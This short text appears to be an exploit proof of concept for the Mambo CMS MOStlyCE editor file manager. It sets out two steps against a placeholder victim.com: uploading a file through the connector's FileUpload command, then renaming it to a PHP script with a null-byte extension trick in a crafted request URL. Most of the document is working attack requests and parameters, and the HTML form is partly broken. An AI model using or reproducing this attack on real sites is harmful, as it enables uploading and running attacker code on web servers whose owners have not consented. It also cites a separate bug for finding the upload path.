Step 1) Using post method send file to:

http://victim.com/mambo4.6.5/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=FileUpload 

file should have one of the following extensions:
zip, doc, xls, pdf, rtf, csv, jpg, gif, jpeg, png, avi, mpg, mpeg, swf, fla

POC:
action="http://victim.com/mambo4.6.5/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=FileUpload" 
method="post" enctype="multipart/form-data">
  
  


Step 2) Using known bug in this version of mambo rename that file.

POC:
http://victim.com/mambo4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=FileUpload&file=a&file[NewFile][name]=myscript.php%00.jpg&file[NewFile][tmp_name]=/home/victim/victim.com/UserFiles/File/abc.gif&file[NewFile][size]=1&CurrentFolder 

path to "UserFiles" you can get using another known bug which is
described here:
http://www.securityfocus.com/archive/1/archive/1/487128/100/200/threaded